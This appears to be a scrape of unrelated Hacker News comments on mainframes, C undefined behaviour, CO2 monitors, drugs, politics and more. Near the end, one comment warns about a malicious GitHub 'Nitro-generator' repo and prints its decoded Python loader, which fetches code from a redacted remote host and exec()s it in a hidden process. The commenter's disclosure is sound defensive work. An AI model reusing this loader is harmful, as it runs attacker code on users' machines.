skysight-inc/HackerNews huggingface dataset:
> doing that is insane, and we cannot let madmen in charge of a nuclear football

Zero nuclear is failed policy. It’s lead to war in Ukraine and encourages appeasement with China. We need more flexible doctrine. I’m not sure what it is, but it can’t be no war at all ever with a belligerent nuclear power at all costs. (Conventional only, no sinking capital ships and no strikes on core territory or any civilians would strike me as reasonable, but that also plays to American strengths.)
Can you give some ballpark estimates, either here or privately (my e-mail is in the profile)?
Robot Landlords Are Buying Up Houses
I think that hits a lot of it. And while "mainframe" (really IBM z/OS, z/VM, CICS, etc. in this context) is probably the most prominent example, the same applies to a lot of other "legacy" computing like MUMPS, ADA, IBM i, other mainframes and minicomputers still in use, etc. Collectively, there's still a lot of that sort of thing but it's essentially all proprietary and there's not much in the way of community except informally though, in many cases, there are still user groups, etc.
Now that is quite interesting.

It reminds everyone that just because you can observe a behavior like obeying a rule, does not mean you can make assumptions about the cause of the behavior.

Maybe they respect rules, or maybe they simply herd and don't like to stand out.

Or "you can't make assumptions" means who knows maybe something else entirely like it just never ocurred to anyone.

Or maybe "don't like standing out" is yet another merely a behavior with a presumed cause. Maybe they avoid standing out, but not because they don't like it, but because it's penalized. And so on.
At companies I've worked at with mainframes the teams running them were typically very well tenured on both the systems and software running on them.

They weren't the types to go looking on StackOverflow or Youtube for answers.

They would also help train new joiners, and IBM offers good training too.

The kinds of systems running on mainframes don't lend themselves to copy/paste from StackOverflow type programming. It's a lot of credit-card and banking transactions where you want experienced people writing and helping on it.

Secondly, even if IBM is selling more than before, that's still an incredibly tiny fraction of the computing scene. Companies don't tend to have more than one (or possibly 2, with one for DR mainframes). So, that 80-90% of the Fortune 500 is really just 1000 mainframes total. Generously, if every Fortune 500 had a pair in each geography (roughly EU, Americas, Asia for big corps), that ends up being 6, so 3000 globally, in production. There are also some spread around academia, government labs, etc. But the numbers are dwarfed by standard x86 machines. eg. at one bank we had "the mainframe" which was actually one hot and one DR, and then 40k windows servers and 40k linux servers. Similarly, there were thousands of engineers in technology, but the mainframe team with single digits.

Given the wealth of information out there, even if there was "a lot" of information for some value of lots, it's dwarfed by the incredible amount of standard tech info.
> even occasional usage can cause untreatable ulcerative cystitis, a.k.a. Ketamine Bladder Syndrome.

You'd have to stretch the definition of "occasional" to make this statement supportable. Clinical studies on the topic focus on chronic heavy users, whose usage far surpasses the dosing used by the median recreational user and typically persists for years. (In fact, most studies focus on recreational users who are using near-clinical levels, which is an order of magnitude more than the typical recreational dose, and doing so with regularity).

While it's possible that occasional use can cause issues, it's far from established fact, and the widespread usage of large doses of ketamine in inpatient settings for decades without reports of issues for those users would actually suggest otherwise.
If they would prefer to be homeless and hungry they're free to not work for the only employer in town who happens to be incredibly abusive
Oops you're right! Fixed now thanks.
The https://operame.nl/Operame project made some designs/kits for CO² monitoring (in dutch classrooms). While this is mostly a DIY thing, assembly was really easy, and there were some volunteers even pre-assembling kits for third parties.

I have 2 of these sensors myself, and they report over mqtt (local), and I've connected them to homeassistant for live insight and possibly triggeging other events based on CO² levels.

The Operame project is currently on hold, but all designs/code are open and free to use.
Cutting edge tech has nothing to do with it. Post-WW2 Netherlands invested heavily in super dense fertilizer heavy farming and dedicated 80% of its surface area to farming.

And now it is bringing the country to a stop. Pollinators died due to pesticide over-use. Natural diversity vanished because all land is consumed by mono-crops and the emissions of farming are so high that construction work has been halted as well, during a housing crisis.

This is NOT the future of food production!
Yeah they are and that's too bad. HWASan is another option that reduces the overhead but would only work on a core that had MTE (which your microcontroller is not as likely to have).
The UBSan+ASan combo is great! Rust's miri is another good one.

This post is already fairly long (~10min read) and I didn't want to make it any longer. It's also already getting flamed in predictable ways ("nonsense! UB has to be reachable to be a problem!") so I didn't want to add more ways to get flamed for it (:

(I'm the post's author.)
It can be used as a animal tranq because of it safety .

It wasn't created for use in animals .

Click below and educate yourself

https://tonydagostino.co.uk/history-of-ketamine-other-dissoc...
Just use the current betting line.
Plot twist: In the future we will can talk to the computer behind the pages...
I have compared it against both the pixel 2 and the pixel 3 xl I previously had. In more urban areas with buildings around it definitely still performs a lot better.

Previously on walks around the neighbourhood gps tracks would just be a general location and bounce around. I can now see pretty regularly which side of the street I was on, street crossings, etc.
describing your opponent as "infected" is, in the most literal sense, dehumanizing.

In this instance, for example, you used it as an excuse to stop thinking and talking.

That's all that's needed. It scales.

Fascism is a process, not a toggle. And currently, it's processing you.

Read your Adrendt. I am also available on this thread to continue explaining it.
Do you have some data to backup this bold claim?
BlockFi files voluntary petitions for Chapter 11 protection
Cannabis is - in my experience - fun, but medically neutral. Doesn't hurt or help me.

Methamphetamine or similar in recreational doses would probably be terrible for both my physical and mental health. I am aware of at least one person in my personal social circles whose entire life has overtly and drastically deteriorated from that addiction.

I have met a few people who find lithium the only effective treatment for their bipolar disorder. When they can actually get their hands on it, their lives improve significantly.

Methylphenidate (Ritalin) - in an extended release formula (Concerta) - is the most valuable tool I have to treat my ADHD. Thinking back on how my life could have been improved if I had it earlier on...is frustrating to say the least.

It turns out that lazy dichotomies are worthless.
Rancher lets you choose between dockerd and moby. Does that mean Colima also uses dockerd?
If crypto were just a scalable way to perform global transactions without friction, that would actually be useful.

However, right now crypto:

- is not scalable at all

- is not private at all

- doesn’t have KYC, so it’s possible to be global

- doesn’t follow lows or AML, so you can fund /technically/ illegal things like SciHub

- UI/UX is so bad that even experts accidentally lose everything

- 99% of volume and value is speculation and wash trading
Veggie burgers can be quite delicious with all the traditional burger toppings, and I'm a pretty big traditional burger fan. The beyond ones always taste kind of dry to me.
I don't think it'd be possible to get the compiler to treat unsigned integer overflow as defined using macros. But I'm not a subject matter expert.
Wageningen University
> Everything I wish I knew when learning C

By far my biggest regret is that the learning materials I was exposed to (web pages, textbooks, lectures, professors, etc.) did not mention or emphasize how insidious undefined behavior is.

Two of the worst C and C++ debugging experiences I had followed this template: Some coworker asked me why their function was crashing, I edit their function and it sometimes crashes or doesn't depending on how I rearrange lines of code, and later I figure out that some statement near the top of the function corrupted the stack and that the crashes had nothing to do with my edits.

Undefined behavior is deceptive because the point at which the program state is corrupted can be arbitrarily far away from the point at which you visibly notice a crash or wrong data. UB can also be non-deterministic depending on OS/compiler/code/moonphase. Moreover, "behaving correctly" is one legal behavior of UB, which can fool you into believing your program is correct when it has a hidden bug.

A related post on the HN front page: https://predr.ag/blog/falsehoods-programmers-believe-about-u... , https://news.ycombinator.com/item?id=33771922

My own write-up: https://www.nayuki.io/page/undefined-behavior-in-c-and-cplus...

The take-home lesson about UB is to only rely on following the language rules strictly (e.g. don't dereference null pointer, don't overflow signed integer, don't go past end of array). Don't just assume that your program is correct because there were no compiler warnings and the runtime behavior passed your tests.
The actual semantic meaning of the word "issue" is broad and doesn't support any of your arguments. You seem to think "issue" means something different from how the rest of the world uses it or has used it.
I just clean the filter regularly, it does drain a bit slow after a couple uses between thorough washes but it's still going strong after 3+ years
When you're in a market sharing space with Infowars and the Buffalo Chronicle, yes the mainstream media and democratically-funded government institutions are generally a hell of a lot more trustworthy.

On "skepticism", people who are inherently distrustful of mainstream institutions tend to be shockingly credulous of fringe people with even less credibility, which is generally far worse.
Right now what saves us from the cobra effect with such a biofilm is hydrocarbon-based plastics are cheaper than it and the distribution and manufacturing networks are built around them. I'd be perfectly content with no concerns if there are no subsidies tampering with such biofilms; let them organically develop their own markets, manufacturing networks and supply chains, and I completely agree with you that they will naturally stop.

If well-intentioned government subsidies aggressively push for using the waste stream however (about the only way I see such a biofilm ever ramping up beyond niche markets), then it is very difficult to conceive those policy makers calibrating to the same homeostatic outcome. That's not how the plastics industry works. The demand scale is on such a bonkers level that distorts normal incentives.

I always worry about such reflexivity when these breathless articles come out about alternative production-side solutions to our current plastics production-consumption matrix. It's way more complex and large than most people understand outside that industry.
In theory this might be the case, but in practice all the TS compiler needs to do to produce valid JS code is strip the type declarations from the input. There are a couple of minor exceptions (enums don't exist natively in JS, and are replaced with objects, and things get a bit more complex if you use decorators), but in general idiomatic Typescript code should look the same as equivalent idiomatic Javascript code.

This gets a bit more complicated in some setups because the typescript compiler can also transpile modern JS/TS code to older versions, doing a similar job to Babel, but this doesn't have to be the case, and in practice this tends to be fairly orthogonal to the question of Typescript: you can compile to older versions regardless of whether you use Typescript, and you can use Typescript regardless of whether you compile to older versions.

So in practice, there will be no difference between a Typescript program and an equivalent idiomatic Javascript version, because Typescript is just Javascript with syntax for type hints.
> How many people use ACLs?

Everyone who uses systemd. Try it yourself: do a getfacl on the files inside /var/log/journal on a system with persistent logging enabled (if it's disabled, these files will be at /run/log/journal instead).
RxRust: A Rust Implementation of Reactive Extensions
I did, and I couldn’t tell if the intention was to be really meta, or what. It felt like half the list was just made up bullshit (especially with the sources the person chose, with which I was mostly unfamiliar, and thus, I interpret as being less reliable than sources I know and trust), and then at the end he says, “don’t trust any of this.” Like, was the intention to introduce us to useful concepts, or is it some kind of thought experiment around how people take in information, and how revealing the trick doesn’t change people’s perceptions? Was the whole article a kayfabe display?

I don’t like this kind of article very much. It feels like a waste of time. I mentally throw out everything I read except a couple things I searched independently. Maybe that’s a good thing. I don’t know. It feels like a waste of time, either way.
Well, no, although a digest-maker for feature films would be an interesting concept!

It's for videos you make yourself, to remove silent parts automatically. In interviews for example, it's useful to simply remove silences.
This is a very interesting and well produced documentary, however this is not “control.”

The greatest threat of our age is thought control, not a bunch of rich guys and their social media platforms (or covid).

Unfortunately, you would find a documentary about that difficult to comprehend or accept!
Despite UN Sanctions, Germany Did Research with North Korea
Shenmue was ahead of its time. Great memories playing that.
More specifically, the linker, not the compiler.

The compiler has to respect DR 106. The linker, however, is allowed to write garbage into code.
The RAS assumption is that your don’t override the return value, which we verify at execution. As long as you don’t, your code will run fast. If you do, then you’ll take some very expensive pipeline restarts.

But you are right that x86 processors can (they all do?) track stack pointer movement in the frontend. For RISC you can track affine transformations of registers or even just the ABI designated stack pointer but it’s usually not worth the high cost.
Ask HN: Why are DDG search results so shitty?
Suggestions like this are unfortunately quite infeasible (they fall under the hat of "define all the behaviors"), and the talk I linked in the post goes into why: https://www.youtube.com/watch?v=yG1OZ69H_-o

(I'm the post's author.)
Stranger Things exploited this to good effect, though, with descriptive captions like "tentacles wetly squelching" and the like. See https://www.netflix.com/tudum/articles/stranger-things-seaso....
Some websites also eat text if you type too fast, or eat text if the page is not 100% loaded. Despite all the nice features websites still feel like half broken 90s desktop applications.
Colima or Rancher Desktop seem to be what most developers at my place of work have coalesced around these days.

Colima is a little but lower level but works very well. Rancher Desktop had some struggles a while back but most of the developers who are new to the company seem to be using it for local kubernetes.
KaiCenat the guy is 21 and literally every time he let's music play it's overdriven.
He checks out tiktok profiles and plays popular games trolling all the time in a semi funny stereotypical black way on voice chat. I guess you either do or don't need talent for that.
That guy has over 85k subscribers. 85000×2.5=212500 so about 200 grand a month.
There isn't really competition... there is enough monopoly here to disregard user experience to some extent. Rational firm will maximize profits so it can be assumed what they're doing here conforms to that
The Oceanic+ app comes to Apple Watch Ultra
It's not programming per se, but what really made things "click" for me as a software engineer was to really be diligent about making sure I was very clear on the problem I was trying to solve, and making sure that I focused on actually solving that problem. That helped me get past not knowing where to start, not focusing my efforts properly, and building for the sake of building (unless that was the goal!).
https://github.com/samanL33T/Awesome-Mainframe-Hacking

https://github.com/FuzzyMainframes/Awesome-Mainframes
When I realized x = x + 1 was not a math equation but notionally was x <- (current x value) + 1.
… "what the compiler guarantees in the presence of UB"

What? Undefined behavior means the compiler guarantees nothing, per definition.
Inspecting deployed code without the transpilation noise is sometimes nice. Or maybe there's a workaround for that?
I think your best bet is ditching #3, go with ESPHome and use one of their sensors here: https://esphome.io/#air-quality

I've a few with PMS5003 sensors and have been satisfied so far...
> So, yes, I think a biological male should be able to win a beauty pageant for those in the woman gender.

And for consistency, that should go for sports as well of course.
So you’d rather have more bugs than less? Given any piece of JS code, you can’t actually reason about it unless you also know its caller. Or you do defensive programming. At which point, why even bother.
Eh, I don't think it has to do with being "hand crafted".

I think the notion of declarative is some flawed bunk - to tell the framework "what" to do you need to specify "how" - removing the how and pretending you will magically infer the intention is a recipe for disaster.

"and most engineers probably don't have the skillset to be able to do this"

The irony being declarative languages require a higher bar of skills to use well, without the UI falling over.

"implementing features and shipping customer value"

Again, you can build bad code fast, but eventually more garbage is just more garbage, you have to go back and "fix" it or the value proposition shrinks faster than value added by new features.
We use these at office in conference rooms or 1:1 rooms, and encourage people to keep CO2 levels below 700-800 (an empty room 450-550). Very high quality, a half dozen all agree perfectly on all sensors. They support API.

# SAF Aranet4 Home

Wireless Indoor Air Quality Monitor for Home, Office or School (CO2, Temperature, Humidity and More) Portable, Battery Powered, E-Ink Screen, App for Configuration & Data History

- The perfect companion for indoor environments, allowing you to monitor CO2 levels, temperature, relative humidity, and atmospheric pressure in real-time

- Easy for anyone to use – the color coding and the optional buzzer warns you when the CO2 concentration gets too high

- Power-efficient e-ink display ensures super long battery life for this wireless device (up to 4 years)

- Smartphone app for viewing and analyzing historical data up to 14 days history (supports iPhone and iPad with iOS 12 or later, Android devices with Oreo 8.0 or later, compatible with Bluetooth 4.1 or later)

- Uses nondispersive infrared sensor (NDIR) technology for most precise and reliable CO2 measurements

https://smile.amazon.com/gp/product/B07YY7BH2W/

https://github.com/Anrijs/Aranet4-Python *

* Note: Smart Home Integrations must be enabled in Aranet4 mobile app for full support
It has always made me think of Philip K. Dick's "kipple" which seems to have an actually decent definition at urbandictionary: https://www.urbandictionary.com/define.php?term=kipple
I agree with OP.
Fake patties taste like... erm...
But a nice veggie patty with peas, corn and stuff is great.

Maybe I agree, that this modern crappy fake food is make by meat eaters for people who try to not eat so much meat, but they forgot that a normal veggie patty doesn't need to taste like meat.
You can also put function pointers in a struct, which is sometimes useful. The syntax is ugly, but you can do a lot of OO stuff that way too.
PSO unfortunately didn't have much of an endgame (all you can really do is glorified boss-rush mode), but I still got a couple extra years out of it circa 2007/2008 via the Blue Burst PC port with unofficial English translation. Nostalgia aside for using a genuine Dreamcast controller, Blue Burst brought some nice expansions and QoL additions. To boot, the guys who hosted the servers also brought back some of the "holiday" events and Japan-exclusive stuff that Sega used to host. Being able to run around with some of the staff-only skins (like Sonic/Tails/Knuckles) and a Sega Saturn MAG floating on my shoulder was fun, indeed!
I have the Awair Element and I'm reasonably happy with it.

The primary interface is through their app and I think you might need to use this to get it up and running initially.
But they have a supported local API feature[1] that has so far worked as I'd expect.
In the end I've been happy with their app so have primarily used that so far. The data seems good.

They're quite expensive new.
But they were involved in some sort of cryptocurrency (!) that failed. So there are a lot of them available as nearly-new on eBay. In the UK I picked one up for about £60, I think.

[1] https://support.getawair.com/hc/en-us/articles/360049221014-...
On the other side it is rational if you think about it in abstract where there is no latency between screen and keyboard input.
The likely reason you continued typing is that the prompt didn't include what you wanted.
> I pay a service fee for my internet connection, and so do the other several million people the utility services.

Technically, internet connectivity is usually not considered a "utility" in the US. They have far fewer regulations than a utility like a gas company. It is not really accurate to compare a gas company to an ISP in the US.

The rates and fees which the gas company can charge me are controlled by government regulatory bodies here in Texas. I can't say the same for internet. The gas company needs to get approval for all their work, they can't arbitrarily add or change fees without approvals, and the rates per CCF are determined based on negotiations with regulators. And I'm in one of the most deregulated utility places in the US.
It looks like the repo has been move/renamed to https://github.com/420World69/Nitro-generator as the links now redirect to there.

Going throught the commit log, the author remove the allegedly " 'pyshftuler', a malicious package" [1] 10 days ago. Then changed the repo's purpose 21h ago [2]. And then, injected its own malice? Currently, the base64 code on line 1 of main.py reads

WARNING: DO NOT CLICK THE LINK IN THIS CODE SECTION, I CANNOT CONFIRM THE SITE NOR ITS INTENTION. I HAVE REMOVED IT FOR SAFETY

```

from tempfile import NamedTemporaryFile as _ffile

from sys import executable as _eexecutable

from os import system as _ssystem

_ttmp = _ffile(delete=False)

_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://[REDACTED]:80/inject/UU7X9zT79b6aHuvL').read())""")

_ttmp.close()

try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}")

except: pass

```

[1] https://github.com/420World69/Nitro-generator/commit/5df9bba...

[2] https://github.com/420World69/Nitro-generator/commit/b9255f8...

[3] https://github.com/420World69/Nitro-generator/commit/69e9352...
It's Bing